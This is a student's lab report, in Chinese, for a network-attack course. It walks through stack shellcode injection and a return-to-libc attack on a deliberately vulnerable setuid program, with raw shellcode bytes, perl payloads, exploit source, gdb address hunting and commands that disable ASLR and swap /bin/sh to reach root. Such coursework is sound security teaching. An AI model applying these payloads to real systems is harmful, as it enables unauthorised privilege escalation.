20145302张薇《网络对抗技术》PC平台逆向破解

实验任务

1.简单shellcode注入实验

2.Return-to-libc 攻击实验

实验相关原理

Bof攻击防御技术

  • 从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
  • 如GCC中的编译器有堆栈保护技术,参考链接:http://www.ibm.com/developerworks/cn/linux/l-cn-gccstack/index.html
  • 从被注入后也不能运行的角度看:结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
  • 由于这些限制,所以我们在进行简单shellcode注入实验时需要设置环境,从而关闭这些保护。

Linux下内存地址随机化

/proc/sys/kernel/randomize_va_space用于控制Linux下内存地址随机化机制(address space layout randomization),有以下三种情况

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

简单shellcode注入实验步骤

1.准备获取shellcode的C语言代码

  • 与此同时我们下载了execstack程序以便接下来可以设置易于攻击的环境

    2.配置环境
  • execstack -s pwn5302命令来将堆栈设为可执行状态
  • execstack -q pwn5302命令来查看文件pwn5302的堆栈是否是可执行状态
  • more /proc/sys/kernel/randomize_va_space命令来查看地址随机化的状态
  • echo "0" > /proc/sys/kernel/randomize_va_space命令来关闭地址随机化

3.构造要注入的payload

  • 利用anything+retaddr+nops+shellcode的结构来构造,在终端输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode,并运行程序

4.打开另一个新的终端,先利用ps -ef | grep pwn5302查看pwn5302的进程号,随后在该终端下进入gdb调试模式

  • 由上图知,pwn5302的进程号为2076
  • gdb调试

  • 得到结束的地址:0x080484ae
  • 打开原先的终端,敲一下回车,就会出现一段乱码

  • 再次打开新的终端,在gdb中设置断点,并寻找注入的buf的地址

  • 01020304的位置就是返回地址的位置,即0xffffd33c
  • shellcode的地址紧挨返回地址,加上四个字节后地址为0xffffd340

5.获得shellcode的地址后,再次返回先前的终端,先用exit命令退出该步骤,随后修改input_shellcoded的值为perl -e 'print "A" x 32;print "\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • 修改后可以利用xxd命令查看是否修改成功
  • 发送这段数据,即成功获得权限

Return-to-libc 攻击实验

本实验在栈不可执行的模式下进行

1.环境配置

  • 输入如下指令,创建32位C语言可编译的环境

    • sudo apt-get update
    • sudo apt-get install lib32z1 libc6-dev-i386



  • 输入命令linux32进入32位linux操作环境

  • 使用/bin/bash命令进入bash

2.关闭地址随机化

  • sudo sysctl -w kernel.randomize_va_space=0
  • 为了不让/bin/bash的防护程序起作用(为了防止shell攻击,程序被调用时会自动弃权),我们使用zsh来代替:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit

3.在tmp文件夹下创建“retlib.c”文件,并编译设置SET-UID


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
  • 此程序有一个缓冲区溢出漏洞:该程序读取badfile文件,将40字节的数据读取到只有12字节大小的buffer,而fread函数不检查边界导致溢出。

sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit

4.在tmp文件夹下准备“getenvaddr.c”文件用于读取环境变量,并编译


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}
  • gcc -m32 -o getenvaddr getenvaddr.c

4.在tmp文件夹下准备“exploit.c”文件用于攻击


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
/*
代码中“0x11111111”、“0x22222222”、“0x33333333”分别代表 BIN_SH、system、exit 的地址,需要我们接下来获取。
*/

5.获取地址

  • 获取BIN_SH地址

    • export BIN_SH=“/bin/sh”
    • echo $BIN_SH
    • ./gentenaddvr BIN_SH ./retlib

  • 进入gdb设置断点,调试运行获取system和exit的地址

    • gdb -q ./exploit
    • list
    • b 9
    • run

  • 获取system地址

    • p system
  • 获取exit地址

    • p exit

6.通过上述获取的地址,修改入exploit.c文件,并删除之前生成的exploit和badfile文件,再次编译,运行exploit之后再运行retlib文件即可获得root权限,攻击成功

实验感想

  • 对于简单的shellcode攻击实验来说,地址随机化是一个难题
  • 相对于第一个shellcode注入的实验来说return to libc实验在更困难一点的情况下进行,即:使栈不可执行,这时候我们不能只是简单的发送数据让程序溢出,得准备查看环境和攻击的代码,这需要我们对电脑地址的存储有更深的了解。

20145302张薇《网络对抗技术》PC平台逆向破解的更多相关文章

  1. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  2. 2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解

    2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 目录 一.逆向及Bof基础实践说明 二.直接修改程序机器指令,改变程序执行流程 三.通过构造输入参数,造成BOF攻击,改变程 ...

  3. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  4. 20155305《网络对抗》PC平台逆向破解(二)

    20155305<网络对抗>PC平台逆向破解(二) shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 ...

  5. 20155311《网络对抗》PC平台逆向破解(二)

    20155311<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  6. 20145221《网络对抗》PC平台逆向破解

    20145221<网络对抗>PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户 ...

  7. 20155307《网络对抗》PC平台逆向破解(二)

    20155307<网络对抗>PC平台逆向破解(二) shellcode注入 什么是shellcode? shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 前期准备- ...

  8. 20145201李子璇《网络对抗》PC平台逆向破解

    20145201<网络对抗>PC平台逆向破解 准备阶段 下载安装execstack. 获取shellcode的c语言代码 设置堆栈可执行 将环境设置为:堆栈可执行.地址随机化关闭(2开启, ...

  9. 20145219《网络对抗》PC平台逆向破解

    20145219<网络对抗>PC平台逆向破解 shellcode注入 1.shellcode shellcode是一段代码,溢出后,执行这段代码能开启系统shell. 2.构造方法 (1) ...

  10. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

随机推荐

  1. piblog 0.2

    在一个Web App中,所有的数据,包括用户的信息,日志,评论等,都存在数据库中.在piblog中使用MySQL作为数据库.Web App中由很多地方需要使用数据库.访问数据库需要创建数据库连接.游标 ...

  2. with操作符损耗性能的原因

    当函数运行是,创建一个[[scope]]指向的被称为作用域链的可变对象集合,作用域链的最前端是一个包含所有的局部变量.参数.this等的被称为“激活对象”的对象. 在标示符查找的过程中,从作用域的最前 ...

  3. Android 7.1.1 系统截屏

    frameworks/base/packages/SystemUI/src/com/android/systemui/screenshot/TakeScreenshotService.java Tak ...

  4. 关于VO、PO的理解——java的(PO,VO,TO,BO,DAO,POJO)解释

    O/R Mapping 是 Object Relational Mapping(对象关系映射)的缩写.通俗点讲,就是将对象与关系数据库绑定,用对象来表示关系数据. 在O/R Mapping的世界里,有 ...

  5. 百度地图API功能

    984aca5bc78b070e59f34e230f11cf6d http://api.map.baidu.com/api?v=2.0&ak=您的密钥" <html> & ...

  6. [黑金原创教程] FPGA那些事儿《数学篇》- CORDIC 算法

    简介 一本为完善<设计篇>的书,教你CORDIC算法以及定点数等,内容请看目录. 贴士 这本教程难度略高,请先用<时序篇>垫底. 目录 Experiment 01:认识CORD ...

  7. js调试模式怎么看变量是在哪里定义的?

    1. 2.

  8. javaWeb项目springMVC框架下利用ITextpdf 工具打印PDF文件的方法(打印表单、插入图片)

    方法一:打印PDF表单以及在PDF中加入图片 需要的资料: jar包:iTextAsian.jar ,itext-2.1.7.jar: 源码: public static void main(Stri ...

  9. shell 文件备份脚本

    #!/bin/bash #输入参数:文件名 filename=$ #源文件目录 directory=/opt/docker/cloud-driver-training/apps #备份文件目录 bac ...

  10. tomcat启动时常见错误问题集锦

    1:环境变量 问题:The JAVA_HOME environment variable is not defined This environment variable is needed to r ...